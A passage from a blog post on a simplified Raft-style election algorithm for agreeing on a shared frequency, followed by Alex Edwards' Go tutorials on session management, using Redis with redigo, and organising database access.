frequency may be encoded in a 64 bit integer. Epochs and update messages === The basic idea of this algorithm is that there is an artificial notion of time across the processes, that is used to order events or informations without to resort to the system time of the process, that is hard to synchronize between them. This artificial time is called the “epoch”. Every process has the notion of currentEpoch, that is, initialized at zero at startup. Every time a process sees an epoch that is greater that its current epoch, it updates its epoch to match the observed epoch. Every process has also the notion of the frequencyEpoch, that is, the version of the currently used frequency. In order to propagate the information, every process periodically sends an update message to some other process. For example every 5 seconds every process picks a random process, and sends to it an update message containing: the current frequency in use, the epoch of the frequency used, and the currentEpoch of the process sending the update message. The first time a process is created its frequency is set to -1: this means that there is no frequency currently in use from the point of view of a given process, and that another one must be picked. Updating the frequency === When a process receives an update message from another process containing a frequency with a frequencyEpoch that is greater than its local frequencyEpoch, it updates its frequency to the received value, and sets the frequencyEpoch to the received value as well. In general when the currentEpoch or the frequency and frequencyEpoch are modified, the process writes this change to the disk or other permanente storage, so that when the process is restarted it will use the latest known information. Choosing a frequency === A process requires to choose a frequency in two different scenarios: 1) When the current frequency is detected to be noisy. 2) When the current frequency is set to -1 (at startup). In order to choose a frequency, a process requires to win an election. This is how it works: 1) The process increments its own currentEpoch, and writes it to permanent storage. It also selects a suitable new frequency. 2) The process sends to all the other processes a ELECT_ME packet to get the vote of the other processes. The ELECT_ME packet contains the currentEpoch of the sending process. 3) The other processes will reply with YOU_HAVE_MY_VOTE packet only if their currentEpoch is not greater compared to the one of the process requesting the vote (it can’t be smaller, since the reception of the ELECT_ME packet will cause an older currentEpoch to be updated to match the one of the incoming packet). The YOU_HAVE_MY_VOTE packet contains the currentEpoch of the voting process. 4) A given process only votes a single time for a given epoch, so it takes a variable called lastVoteEpoch, and will only provide its vote if the currentEpoch in the request for the vote is greater (>) than lastVoteEpoch. When the vote is provided, lastVoteEpoch is updated (and stored on disk *before* the vote is provided, so that a crash and restart will not cause this process to vote again for the same epoch). 5) YOU_HAVE_MY_VOTE messages with a currentEpoch smaller than the currentEpoch of the process that requested the vote are discarded. 6) The process requesting the vote will consider itself elected only if it receives the majority of the votes from the other processes (it will count itself as a voter and will vote for itself when the election starts). If the process is elected it will updated its frequencyEpoch and frequency variables. The frequencyEpoch that will be used is the epoch the process requested the vote with, that is, its currentEpoch at the time it sent the ELECT_ME packets, just after the increment. Given that a process requires to be elected to change the frequency, and that every process votes a single time in a given epoch, there must be only a single winner for a given epoch. If a given process is not able to get elected as the majority is not reached, it will try again after a random delay. This delay must be greater compared to the latency of the slow network that is used to exchange these messages (see the Raft paper for more information about this). Every process will consider the election aborted after some time that is smaller than the retry time. Propagating the new information === When a process wins an election, it updates its frequency value and frequencyEpoch to the new one, so by sending UPDATE messages, eventually all the other processes will receive the update as well and will switch to the new frequency. If some process is partitioned away, it will receive the update as soon as the partition heals. However it is a good idea to broadcast an UPDATE message to all the processes ASAP as soon as a process changes the frequency, so that all the other nodes will switch ASAP. Improving the algorithm with a simple change === The ELECT_ME packet can be improved by adding the value of the frequencyEpoch, so that other processes will refuse to vote if the process has a stale information. This may happen when, for example, the process was partitioned away for some time with an old frequency that does not work well as there is too much noise. So in a minority partition, it may try to get elected again and again. The majority probably already switched to a newer frequency. When the partition heals, the process may get elected and change the frequency to something else before having the chance to receive the updated frequency, causing a useless frequency switch. By adding the frequencyEpoch in the ELECT_ME packet and by making other processes checking that the info is updated before providing the vote, we avoid this problem. Other improvements === Another improvement may be to only provide the vote if the current frequency, from the point of view of the receiving node, is *really* noisy. This avoids that a single node having hardware issues in the high bandwidth radio will be able to continuously switch to new frequencies since every frequency will be detected as noisy. In this way a frequency switch can happen only if the majority of the nodes are detecting an issue with the current frequency. Similarly the node sending ELECT_ME messages to get elected may include the frequency it want to switch to, and the receiving node may vote only if the selected frequency passes some test and is considered a good pick, however this may affect the liveness of the algorithm: different nodes may believe that different frequencies are not a good pick so that majority can’t be reached. Conclusions === What I did in this blog post is just to take Raft, that is able to handle the complex problem of replicating a state machine across different processes in a consistent way, and simplify it in order to use it in a subset of problems where the state is a single value (or a set of values) that can just be updated in an idempotent way. The resulting algorithm is trivial to implement in a robust way, and is good enough for a non trivial set of real world problems. --------------------------------------- EDIT: I received some feedback via Twitter, and I think it is better to clarify what is the meaning of the above algorithm. The idea is to retain some safety under the specified scenario, where a replicated state machine is not needed, but still have a reasonable way to take a set of values synchronized across different processes. The goal is to provide, in exchange for the lack of functionality compared to Raft or Paxos, an algorithm that can be recalled by memory only without even reading a document. In this spirit my aim is to further simplify the above description of the algorithm without impacting the functionality. Moreover as somebody that is trying to understand more about distributed programming, I see that while it is very simple without even being aware of it, to get involved in something that is a distributed system, as a normal programmer (given that everything is networked today), descriptions of trivial algorithms may be a way to get somewhat exposed to basic distributed concepts. The next step is to learn a formal analysis tool and try to analyze the algorithm to provide a proof of safety / liveness. Comments

Alex Edwards

• SCS: A session manager for Go web applications 1.7+
  Aug 30, 2016

  I’ve just released SCS, a session management package for Go 1.7+. Its design leverages Go’s new context package to automatically load and save session data via middleware. Importantly, it also provides the security features that you need when using server-side session stores (like straightforward session token regeneration) and supports both absolute and inactivity timeouts. The session data is safe for concurrent use. A simple example SCS is broken up into small single-purpose packages for ease of use. You should install the session package and your choice of session storage engine from the following table: Package session Provides session management middleware and helpers for manipulating session data engine/memstore In-memory storage engine engine/cookiestore Encrypted-cookie based storage engine engine/pgstore PostgreSQL based storage eninge engine/mysqlstore MySQL based storage engine engine/redisstore Redis based storage engine For example: $ go get github.com/alexedwards/scs/session $ go get github.com/alexedwards/scs/engine/memstore Usage is then simple: File: main.go package main import ( "io" "net/http" "github.com/alexedwards/scs/engine/memstore" "github.com/alexedwards/scs/session" ) func main() { // Create the session manager middleware, passing in a new storage // engine instance as the first parameter. sessionManager := session.Manage(memstore.New(0)) // Set up your HTTP handlers in the normal way. mux := http.NewServeMux() mux.HandleFunc("/put", putHandler) mux.HandleFunc("/get", getHandler) // Wrap your handlers with the session manager middleware. http.ListenAndServe(":4000", sessionManager(mux)) } func putHandler(w http.ResponseWriter, r *http.Request) { // Use the PutString helper to add a new key and associated string value // to the session data. Helpers for other types are included. err := session.PutString(r, "message", "Hello from a session!") if err != nil { http.Error(w, err.Error(), 500) } } func getHandler(w http.ResponseWriter, r *http.Request) { // Use the GetString helper to retrieve the value associated with the // "message" key. msg, err := session.GetString(r, "message") if err != nil { http.Error(w, err.Error(), 500) return } io.WriteString(w, msg) } You should be able to verify that the session data is being across requests with curl: $ curl -i -c cookies localhost:4000/put HTTP/1.1 200 OK Set-Cookie: scs.session.token=uts3FRcCMOIXpyx5uZx28Y54uUFRHxgtYhbgD4epeI4; Path=/; HttpOnly Date: Tue, 30 Aug 2016 17:37:12 GMT Content-Length: 0 Content-Type: text/plain; charset=utf-8 $ curl -i -b cookies localhost:4000/get HTTP/1.1 200 OK Date: Tue, 30 Aug 2016 17:37:21 GMT Content-Length: 21 Content-Type: text/plain; charset=utf-8 Hello from a session! The complete godocs are here. I’d love to hear any feedback – either drop me an email or open an issue on Github.

• Working with Redis
  Feb 26, 2016

  In this post I'm going to be looking at using Redis as a data persistence layer for a Go application. We'll start by explaining a few of the essential concepts, and then build a working web application which highlights some techniques for using Redis in a concurrency-safe way. This post assumes a basic knowledge of Redis itself (and a working installation, if you want to follow along). If you haven't used Redis before, I highly recommend reading the Little Book of Redis by Karl Seguin or running through the Try Redis interactive tutorial. Installing a driver First up we need to install a Go driver (or client) for Redis. A list of available drivers is located at http://redis.io/clients#go. The two drivers that I would recommend are gomodule/redigo and mediocregopher/radix. They are both well designed and actively maintained. The key differences are that Redigo is completely self-contained (with no external dependencies) and it has a smaller, simpler API than Radix. Radix, on the other hand, provides support for Redis sentinel and cluster implementations. Throughout this post we'll be using the Redigo driver. Getting started with Redis and Go As an example, let's say that we have an online record shop and want to store information about the albums for sale in Redis. There's many different ways we could model this data in Redis, but we'll keep things simple and store each album as a hash – with fields for title, artist, price and the number of 'likes' that it has. As the key for each album hash we'll use the pattern album:{id}, where id is a unique integer value. So if we wanted to store a new album using the Redis CLI, we could execute a HMSET command along the lines of: 127.0.0.1:6379> HMSET album:1 title "Electric Ladyland" artist "Jimi Hendrix" price 4.95 likes 8 OK To do the same thing from a Go application, we need to combine a couple of functions from the gomodule/redigo/redis package. The first is the Dial() function, which returns a new connection to our Redis server. The second is the Do() method, which sends a command to our Redis server across the connection. This returns the reply from Redis as an interface{} type, along with any error if applicable. Using them is quite straightforward in practice: File: main.go package main import ( "fmt" "log" // Import the redigo/redis package. "github.com/gomodule/redigo/redis" ) func main() { // Establish a connection to the Redis server listening on port // 6379 of the local machine. 6379 is the default port, so unless // you've already changed the Redis configuration file this should // work. conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } // Importantly, use defer to ensure the connection is always // properly closed before exiting the main() function. defer conn.Close() // Send our command across the connection. The first parameter to // Do() is always the name of the Redis command (in this example // HMSET), optionally followed by any necessary arguments (in this // example the key, followed by the various hash fields and values). _, err = conn.Do("HMSET", "album:2", "title", "Electric Ladyland", "artist", "Jimi Hendrix", "price", 4.95, "likes", 8) if err != nil { log.Fatal(err) } fmt.Println("Electric Ladyland added!") } In this example we're not really interested in the reply from Redis (all successful HMSET commands just reply with the string "OK") so we don't do anything except check the return value from Do() for any errors. Working with replies When we are interested in the reply from Redis, the gomodule/redigo/redis package contains some useful helper functions for converting the reply (which has the type interface{}) into a Go type we can easily work with. These are: redis.Bool() – converts a single reply to a bool redis.Bytes() – converts a single reply to a byte slice ([]byte) redis.Float64() – converts a single reply to a float64 redis.Int() – converts a single reply to a int redis.String() – converts a single reply to a string redis.Values() – converts an array reply to an slice of individual replies redis.Strings() – converts an array reply to an slice of strings ([]string) redis.ByteSlices() – converts an array reply to an slice of byte slices ([][]byte) redis.StringMap() – converts an array of strings (alternating key, value) into a map[string]string. Useful for HGETALL etc Let's use some of these in conjunction with the HGET command to retrieve information from one of the album hashes: File: main.go package main import ( "fmt" "log" "github.com/gomodule/redigo/redis" ) func main() { conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } defer conn.Close() // Issue a HGET command to retrieve the title for a specific album, // and use the Str() helper method to convert the reply to a string. title, err := redis.String(conn.Do("HGET", "album:1", "title")) if err != nil { log.Fatal(err) } // Similarly, get the artist and convert it to a string. artist, err := redis.String(conn.Do("HGET", "album:1", "artist")) if err != nil { log.Fatal(err) } // And the price as a float64... price, err := redis.Float64(conn.Do("HGET", "album:1", "price")) if err != nil { log.Fatal(err) } // And the number of likes as an integer. likes, err := redis.Int(conn.Do("HGET", "album:1", "likes")) if err != nil { log.Fatal(err) } fmt.Printf("%s by %s: £%.2f [%d likes]\n", title, artist, price, likes) } It's worth pointing out that, when we use these helper methods, the error they return could relate to one of two things: either the failed execution of the command, or the conversion of the reply data to the desired type (for example, we'd get an error if we tried to convert the reply "Jimi Hendrix" to a float64). There's no way of knowing which kind of error it is unless we examine the error message. If you run the code above you should get output which looks like: $ go run main.go Electric Ladyland by Jimi Hendrix: £4.95 [8 likes] Let's now look at a more complete example, where we use the HGETALL command to retrieve all fields from an album hash in one go and store the information in a custom Album struct. File: main.go package main import ( "fmt" "log" "strconv" "github.com/gomodule/redigo/redis" ) // Define a custom struct to hold Album data. type Album struct { Title string Artist string Price float64 Likes int } func main() { conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } defer conn.Close() // Fetch all album fields with the HGETALL command. Because HGETALL // returns an array reply, and because the underlying data structure // in Redis is a hash, it makes sense to use the Map() helper // function to convert the reply to a map[string]string. reply, err := redis.StringMap(conn.Do("HGETALL", "album:1")) if err != nil { log.Fatal(err) } // Use the populateAlbum helper function to create a new Album // object from the map[string]string. album, err := populateAlbum(reply) if err != nil { log.Fatal(err) } fmt.Printf("%+v", album) } // Create, populate and return a pointer to a new Album struct, based // on data from a map[string]string. func populateAlbum(reply map[string]string) (*Album, error) { var err error album := new(Album) album.Title = reply["title"] album.Artist = reply["artist"] // We need to use the strconv package to convert the 'price' value // from a string to a float64 before assigning it. album.Price, err = strconv.ParseFloat(reply["price"], 64) if err != nil { return nil, err } // Similarly, we need to convert the 'likes' value from a string to // an integer. album.Likes, err = strconv.Atoi(reply["likes"]) if err != nil { return nil, err } return album, nil } Running this code should give an output like: $ go run main.go &{Title:Electric Ladyland Artist:Jimi Hendrix Price:4.95 Likes:8} Or an alternative, and arguably neater, approach is to use the redis.Values() and redis.ScanStruct() functions to automatically unpack the data to the Album struct, like so: File: main.go package main import ( "fmt" "log" "github.com/gomodule/redigo/redis" ) // Define a custom struct to hold Album data. Notice the struct tags? // These indicate to redigo how to assign the data from the reply into // the struct. type Album struct { Title string `redis:"title"` Artist string `redis:"artist"` Price float64 `redis:"price"` Likes int `redis:"likes"` } func main() { conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } defer conn.Close() // Fetch all album fields with the HGETALL command. Wrapping this // in the redis.Values() function transforms the response into type // []interface{}, which is the format we need to pass to // redis.ScanStruct() in the next step. values, err := redis.Values(conn.Do("HGETALL", "album:1")) if err != nil { log.Fatal(err) } // Create an instance of an Album struct and use redis.ScanStruct() // to automatically unpack the data to the struct fields. This uses // the struct tags to determine which data is mapped to which // struct fields. var album Album err = redis.ScanStruct(values, &album) if err != nil { log.Fatal(err) } fmt.Printf("%+v", album) } Note: Behind the scenes the redis.ScanStruct() function uses Go's strconv package to convert the values returned from Redis in to the appropriate Go type for the struct field — similar in principle to what we did in the previous example. By default this supports integer, float, boolean, string and []byte fields. If you need to automatically scan into a custom type, you can do so by implemeting the redis.Scanner() interface on your custom type. Using in a web application One important thing to know about gomodule/redigo/redis is that the Conn object (which is returned by the Dial() function we've been using so far) is not safe for concurrent use. If we want to access a single Redis server from multiple goroutines, as we would in a web application, we must use establish a pool of Redis connections, and each time we want to use a connection we fetch it from the pool, execute our command on it, and return it too the pool. We'll illustrate this in a simple web application, building on the online record store example we've already used. Our finished app will support 3 functions: MethodPathFunction GET/album?id=1Show details of a specific album (using the id provided in the query string) POST/likeAdd a new like for a specific album (using the id provided in the request body) GET/popularList the top 3 most liked albums in order To avoid detracting from the main purpose of this blog post (which is talking about Redis) we'll use a deliberately over-simplified pattern for our web application. If you'd like to follow along, create a basic application scaffold like so… $ mkdir recordstore && cd recordstore $ go mod init example.com/recordstore go: creating new go.mod: module example.com/recordstore $ touch main.go albums.go $ tree . ├── albums.go ├── go.mod └── main.go …And use the Redis CLI to add a few additional albums, along with a new likes sorted set. This sorted set will be used within the GET /popular route to help us quickly and efficiently retrieve the ids of albums with the most likes. Here's the commands to run: HMSET album:1 title "Electric Ladyland" artist "Jimi Hendrix" price 4.95 likes 8 HMSET album:2 title "Back in Black" artist "AC/DC" price 5.95 likes 3 HMSET album:3 title "Rumours" artist "Fleetwood Mac" price 7.95 likes 12 HMSET album:4 title "Nevermind" artist "Nirvana" price 5.95 likes 8 ZADD likes 8 1 3 2 12 3 8 4 In the albums.go file we'll define a global variable to hold a Redis connection pool, and we'll re-purpose the code we wrote earlier into a FindAlbum() function that we can use from our HTTP handlers. File: albums.go package main import ( "errors" "github.com/gomodule/redigo/redis" ) // Declare a pool variable to hold the pool of Redis connections. var pool *redis.Pool var ErrNoAlbum = errors.New("no album found") // Define a custom struct to hold Album data. type Album struct { Title string `redis:"title"` Artist string `redis:"artist"` Price float64 `redis:"price"` Likes int `redis:"likes"` } func FindAlbum(id string) (*Album, error) { // Use the connection pool's Get() method to fetch a single Redis // connection from the pool. conn := pool.Get() // Importantly, use defer and the connection's Close() method to // ensure that the connection is always returned to the pool before // FindAlbum() exits. defer conn.Close() // Fetch the details of a specific album. If no album is found // the given id, the []interface{} slice returned by redis.Values // will have a length of zero. So check for this and return an // ErrNoAlbum error as necessary. values, err := redis.Values(conn.Do("HGETALL", "album:"+id)) if err != nil { return nil, err } else if len(values) == 0 { return nil, ErrNoAlbum } var album Album err = redis.ScanStruct(values, &album) if err != nil { return nil, err } return &album, nil } Alright, let's head over to the main.go file. In this we will initialize the connection pool and set up a simple web server and HTTP handler for the GET /album route. File: main.go package main import ( "fmt" "log" "net/http" "strconv" "time" "github.com/gomodule/redigo/redis" ) func main() { // Initialize a connection pool and assign it to the pool global // variable. pool = &redis.Pool{ MaxIdle: 10, IdleTimeout: 240 * time.Second, Dial: func() (redis.Conn, error) { return redis.Dial("tcp", "localhost:6379") }, } mux := http.NewServeMux() mux.HandleFunc("/album", showAlbum) log.Print("Listening on :4000...") http.ListenAndServe(":4000", mux) } func showAlbum(w http.ResponseWriter, r *http.Request) { // Unless the request is using the GET method, return a 405 'Method // Not Allowed' response. if r.Method != http.MethodGet { w.Header().Set("Allow", http.MethodGet) http.Error(w, http.StatusText(405), 405) return } // Retrieve the id from the request URL query string. If there is // no id key in the query string then Get() will return an empty // string. We check for this, returning a 400 Bad Request response // if it's missing. id := r.URL.Query().Get("id") if id == "" { http.Error(w, http.StatusText(400), 400) return } // Validate that the id is a valid integer by trying to convert it, // returning a 400 Bad Request response if the conversion fails. if _, err := strconv.Atoi(id); err != nil { http.Error(w, http.StatusText(400), 400) return } // Call the FindAlbum() function passing in the user-provided id. // If there's no matching album found, return a 404 Not Found // response. In the event of any other errors, return a 500 // Internal Server Error response. bk, err := FindAlbum(id) if err == ErrNoAlbum { http.NotFound(w, r) return } else if err != nil { http.Error(w, http.StatusText(500), 500) return } // Write the album details as plain text to the client. fmt.Fprintf(w, "%s by %s: £%.2f [%d likes] \n", bk.Title, bk.Artist, bk.Price, bk.Likes) } It's worth elaborating on the redis.Pool settings. In the above code we specify a MaxIdle size of 10, which simply limits the number of idle connections waiting in the pool to 10 at any one time. If all 10 connections are in use when an additional pool.Get() call is made a new connection will be created on the fly. The IdleTimeout setting is set to 240 seconds, which means that any connections that are idle for longer than that will be removed from the pool. If you run the application: $ go run . 2019/08/17 11:01:41 Listening on :4000... And make a request for one of the albums using cURL you should get a response like this: $ curl -i localhost:4000/album?id=2 HTTP/1.1 200 OK Content-Length: 42 Content-Type: text/plain; charset=utf-8 Back in Black by AC/DC: £5.95 [3 likes] Using transactions The second route, POST /likes, is quite interesting. When a user likes an album we need to issue two distinct commands: a HINCRBY to increment the likes field in the album hash, and a ZINCRBY to increment the relevant score in our likes sorted set. This creates a problem. Ideally we would want both keys to be incremented at exactly the same time as a single atomic action. Having one key updated after the other opens up the potential for race conditions to occur. The solution to this is to use Redis transactions, which let us run multiple commands together as an atomic group. To do this we use the MULTI command to start a transaction, followed by the commands (in our case a HINCRBY and ZINCRBY), and finally the EXEC command (which then executes our both our commands together as an atomic group). Let's create a new IncrementLikes() function in the albums.go file which uses this technique. File: albums.go ... func IncrementLikes(id string) error { conn := pool.Get() defer conn.Close() // Before we do anything else, check that an album with the given // id exists. The EXISTS command returns 1 if a specific key exists // in the database, and 0 if it doesn't. exists, err := redis.Int(conn.Do("EXISTS", "album:"+id)) if err != nil { return err } else if exists == 0 { return ErrNoAlbum } // Use the MULTI command to inform Redis that we are starting a new // transaction. The conn.Send() method writes the command to the // connection's output buffer -- it doesn't actually send it to the // Redis server... despite it's name! err = conn.Send("MULTI") if err != nil { return err } // Increment the number of likes in the album hash by 1. Because it // follows a MULTI command, this HINCRBY command is NOT executed but // it is QUEUED as part of the transaction. We still need to check // the reply's Err field at this point in case there was a problem // queueing the command. err = conn.Send("HINCRBY", "album:"+id, "likes", 1) if err != nil { return err } // And we do the same with the increment on our sorted set. err = conn.Send("ZINCRBY", "likes", 1, id) if err != nil { return err } // Execute both commands in our transaction together as an atomic // group. EXEC returns the replies from both commands but, because // we're not interested in either reply in this example, it // suffices to simply check for any errors. Note that calling the // conn.Do() method flushes the previous commands from the // connection output buffer and sends them to the Redis server. _, err = conn.Do("EXEC") if err != nil { return err } return nil } We'll also update the main.go file to add an addLike() handler for the route: File: main.go package main import ( "fmt" "log" "net/http" "strconv" "time" "github.com/gomodule/redigo/redis" ) func main() { pool = &redis.Pool{ MaxIdle: 10, IdleTimeout: 240 * time.Second, Dial: func() (redis.Conn, error) { return redis.Dial("tcp", "localhost:6379") }, } mux := http.NewServeMux() mux.HandleFunc("/album", showAlbum) mux.HandleFunc("/like", addLike) log.Print("Listening on :4000...") http.ListenAndServe(":4000", mux) } ... func addLike(w http.ResponseWriter, r *http.Request) { // Unless the request is using the POST method, return a 405 // Method Not Allowed response. if r.Method != http.MethodPost { w.Header().Set("Allow", http.MethodPost) http.Error(w, http.StatusText(405), 405) return } // Retrieve the id from the POST request body. If there is no // parameter named "id" in the request body then PostFormValue() // will return an empty string. We check for this, returning a 400 // Bad Request response if it's missing. id := r.PostFormValue("id") if id == "" { http.Error(w, http.StatusText(400), 400) return } // Validate that the id is a valid integer by trying to convert it, // returning a 400 Bad Request response if the conversion fails. if _, err := strconv.Atoi(id); err != nil { http.Error(w, http.StatusText(400), 400) return } // Call the IncrementLikes() function passing in the user-provided // id. If there's no album found with that id, return a 404 Not // Found response. In the event of any other errors, return a 500 // Internal Server Error response. err := IncrementLikes(id) if err == ErrNoAlbum { http.NotFound(w, r) return } else if err != nil { http.Error(w, http.StatusText(500), 500) return } // Redirect the client to the GET /album route, so they can see the // impact their like has had. http.Redirect(w, r, "/album?id="+id, 303) } If you make a POST request to like one of the albums you should now get a response like: $ curl -i -L -d "id=2" localhost:4000/like HTTP/1.1 303 See Other Location: /album?id=2 Date: Sat, 17 Aug 2019 16:50:49 GMT Content-Length: 0 HTTP/1.1 200 OK Date: Sat, 17 Aug 2019 16:50:49 GMT Content-Length: 42 Content-Type: text/plain; charset=utf-8 Back in Black by AC/DC: £5.95 [4 likes] Using the Watch command OK, on to our final route: GET /popular. This route will display the details of the top 3 albums with the most likes, so to facilitate this we'll create a FindTopThree() function in the albums.go file. In this function we need to: Use the ZREVRANGE command to fetch the 3 album ids with the highest score (i.e. most likes) from our likes sorted set. Loop through the returned ids, using the HGETALL command to retrieve the details of each album and add them to a []*Album slice. Again, it's possible to imagine a race condition occurring here. If a second client happens to like an album at the exact moment between our ZREVRANGE command and the HGETALLs for all 3 albums being completed, our user could end up being sent wrong or mis-ordered data. The solution here is to use the Redis WATCH command in conjunction with a transaction. WATCH instructs Redis to monitor a specific key for any changes. If another client or connection modifies our watched key between our WATCH instruction and our subsequent transaction's EXEC, the transaction will fail and return a nil reply. If no client changes the value before our EXEC, the transaction will complete as normal. We can execute our code in a loop until the transaction is successful. File: albums.go package main ... func FindTopThree() ([]*Album, error) { conn := pool.Get() defer conn.Close() // Begin an infinite loop. In a real application, you might want to // limit this to a set number of attempts, and return an error if // the transaction doesn't successfully complete within those // attempts. for { // Instruct Redis to watch the likes sorted set for any changes. _, err := conn.Do("WATCH", "likes") if err != nil { return nil, err } // Use the ZREVRANGE command to fetch the album ids with the // highest score (i.e. most likes) from our 'likes' sorted set. // The ZREVRANGE start and stop values are zero-based indexes, // so we use 0 and 2 respectively to limit the reply to the top // three. Because ZREVRANGE returns an array response, we use // the Strings() helper function to convert the reply into a // []string. ids, err := redis.Strings(conn.Do("ZREVRANGE", "likes", 0, 2)) if err != nil { return nil, err } // Use the MULTI command to inform Redis that we are starting // a new transaction. err = conn.Send("MULTI") if err != nil { return nil, err } // Loop through the ids returned by ZREVRANGE, queuing HGETALL // commands to fetch the individual album details. for _, id := range ids { err := conn.Send("HGETALL", "album:"+id) if err != nil { return nil, err } } // Execute the transaction. Importantly, use the redis.ErrNil // type to check whether the reply from EXEC was nil or not. If // it is nil it means that another client changed the WATCHed // likes sorted set, so we use the continue command to re-run // the loop. replies, err := redis.Values(conn.Do("EXEC")) if err == redis.ErrNil { log.Print("trying again") continue } else if err != nil { return nil, err } // Create a new slice to store the album details. albums := make([]*Album, 3) // Iterate through the array of response objects, using the // ScanStruct() function to assign the data to Album structs. for i, reply := range replies { var album Album err = redis.ScanStruct(reply.([]interface{}), &album) if err != nil { return nil, err } albums[i] = &album } return albums, nil } } Using this from our web application is nice and straightforward: File: main.go package main import ( "fmt" "log" "net/http" "strconv" "time" "github.com/gomodule/redigo/redis" ) func main() { pool = &redis.Pool{ MaxIdle: 10, IdleTimeout: 240 * time.Second, Dial: func() (redis.Conn, error) { return redis.Dial("tcp", "localhost:6379") }, } mux := http.NewServeMux() mux.HandleFunc("/album", showAlbum) mux.HandleFunc("/like", addLike) mux.HandleFunc("/popular", listPopular) log.Print("Listening on :4000...") http.ListenAndServe(":4000", mux) } ... func listPopular(w http.ResponseWriter, r *http.Request) { // Unless the request is using the GET method, return a 405 'Method Not // Allowed' response. if r.Method != http.MethodGet { w.Header().Set("Allow", http.MethodGet) http.Error(w, http.StatusText(405), 405) return } // Call the FindTopThree() function, returning a return a 500 Internal // Server Error response if there's any error. albums, err := FindTopThree() if err != nil { http.Error(w, http.StatusText(500), 500) return } // Loop through the 3 albums, writing the details as a plain text list // to the client. for i, ab := range albums { fmt.Fprintf(w, "%d) %s by %s: £%.2f [%d likes] \n", i+1, ab.Title, ab.Artist, ab.Price, ab.Likes) } } One note about WATCH: a key will remain WATCHed until either we either EXEC (or DISCARD) our transaction, or we manually call UNWATCH on the key. So calling EXEC, as we do in the above example, is sufficient and the likes sorted set will be automatically UNWATCHed. Making a request to the GET /popular route should now yield a response similar to: $ curl -i localhost:4000/popular HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/plain; charset=utf-8 Date: Sat, 17 Aug 2019 17:10:13 GMT 1) Rumours by Fleetwood Mac: £7.95 [12 likes] 2) Nevermind by Nirvana: £5.95 [8 likes] 3) Electric Ladyland by Jimi Hendrix: £4.95 [8 likes]

• Organising database access in Go
  Jul 16, 2015

  A few weeks ago someone created a thread on Reddit asking: In the context of a web application what would you consider a Go best practice for accessing the database in (HTTP or other) handlers? The replies it got were a genuinely interesting mix. Some people advised using dependency injection, a few favoured the simplicity of using global variables, others suggested putting the connection pool pointer into the request context. Me? I think the right answer depends on the project. What's the overall structure and size of the project? What's your approach to testing? How is it likely to grow in the future? All these things and more should play a part when you pick an approach to take. So in this post we're going to take a look at four different methods for organizing your code and structuring access to your database connection pool, and explain when they may — or may not — be a good fit for your project. Application setup I like concrete examples, so let's set up a simple book store application to help illustrate the four different approaches. If you'd like to follow along, you need to create a new bookstore database and then execute the following SQL to create a books table and add some sample records. CREATE TABLE books ( isbn char(14) NOT NULL, title varchar(255) NOT NULL, author varchar(255) NOT NULL, price decimal(5,2) NOT NULL ); INSERT INTO books (isbn, title, author, price) VALUES ('978-1503261969', 'Emma', 'Jayne Austen', 9.44), ('978-1505255607', 'The Time Machine', 'H. G. Wells', 5.99), ('978-1503379640', 'The Prince', 'Niccolò Machiavelli', 6.99); ALTER TABLE books ADD PRIMARY KEY (isbn); Note: In this tutorial I'll be using PostgreSQL, but the principles are the same no matter what database you're using. You'll also need to run the following commands to scaffold a basic application structure and initialize a Go module: $ mkdir bookstore && cd bookstore $ mkdir models $ touch main.go models/models.go $ go mod init bookstore.alexedwards.net go: creating new go.mod: module bookstore.alexedwards.net At this point, you should have a bookstore directory on your machine with a structure exactly like this: bookstore/ ├── go.mod ├── main.go └── models └── models.go 1. Using a global variable OK, let's start by looking at storing the database connection pool in a global variable. This approach is arguably the simplest thing that works. You initialise the sql.DB connection pool in your main() function, assign it to a global variable, and then access the global from anywhere that you need to execute a database query. In the context of our book store application, the code would look something like this: File: models/models.go package models import ( "database/sql" ) // Create an exported global variable to hold the database connection pool. var DB *sql.DB type Book struct { Isbn string Title string Author string Price float32 } // AllBooks returns a slice of all books in the books table. func AllBooks() ([]Book, error) { // Note that we are calling Query() on the global variable. rows, err := DB.Query("SELECT * FROM books") if err != nil { return nil, err } defer rows.Close() var bks []Book for rows.Next() { var bk Book err := rows.Scan(&bk.Isbn, &bk.Title, &bk.Author, &bk.Price) if err != nil { return nil, err } bks = append(bks, bk) } if err = rows.Err(); err != nil { return nil, err } return bks, nil } File: main.go package main import ( "database/sql" "fmt" "log" "net/http" "bookstore.alexedwards.net/models" _ "github.com/lib/pq" ) func main() { var err error // Initalize the sql.DB connection pool and assign it to the models.DB // global variable. models.DB, err = sql.Open("postgres", "postgres://user:pass@localhost/bookstore") if err != nil { log.Fatal(err) } http.HandleFunc("/books", booksIndex) http.ListenAndServe(":3000", nil) } // booksIndex sends a HTTP response listing all books. func booksIndex(w http.ResponseWriter, r *http.Request) { bks, err := models.AllBooks() if err != nil { log.Print(err) http.Error(w, http.StatusText(500), 500) return } for _, bk := range bks { fmt.Fprintf(w, "%s, %s, %s, £%.2f\n", bk.Isbn, bk.Title, bk.Author, bk.Price) } } At this point, if you run this application and make a request to the /books endpoint you should get the following response: $ curl localhost:3000/books 978-1503261969, Emma, Jayne Austen, £9.44 978-1505255607, The Time Machine, H. G. Wells, £5.99 978-1503379640, The Prince, Niccolò Machiavelli, £6.99 Using a global variable to store the database connection pool like this is potentially a good fit when: Your application is small and simple, and keeping track of globals in your head isn't a problem. Your HTTP handlers are spread across multiple packages, but all your database-related code lives in one package. You don't need to mock the database for testing purposes. The drawbacks of using global variables are well-documented, but in practice I've found that for small and simple projects using a global variable like this works just fine, and it's (arguably) clearer and easier to understand than some of the other approaches we'll look at in this post. For more complex applications — where your handlers have more dependencies beyond just the database connection pool — it's generally better to use dependency injection instead of storing everything in global variables. The approach we've taken here also doesn't work if your database logic is spread over multiple packages, although — if you really want to — you could a separate config package containing an exported DB global variable and import "yourproject/config" into every file that needs it. I've provided a basic example in this gist. 1b. Global variable with an InitDB function A variation on the 'global variable' approach that I sometimes see uses an initialisation function to set up the connection pool, like so: File: models/models.go package models import ( "database/sql" _ "github.com/lib/pq" ) // This time the global variable is unexported. var db *sql.DB // InitDB sets up setting up the connection pool global variable. func InitDB(dataSourceName string) error { var err error db, err = sql.Open("postgres", dataSourceName) if err != nil { return err } return db.Ping() } type Book struct { Isbn string Title string Author string Price float32 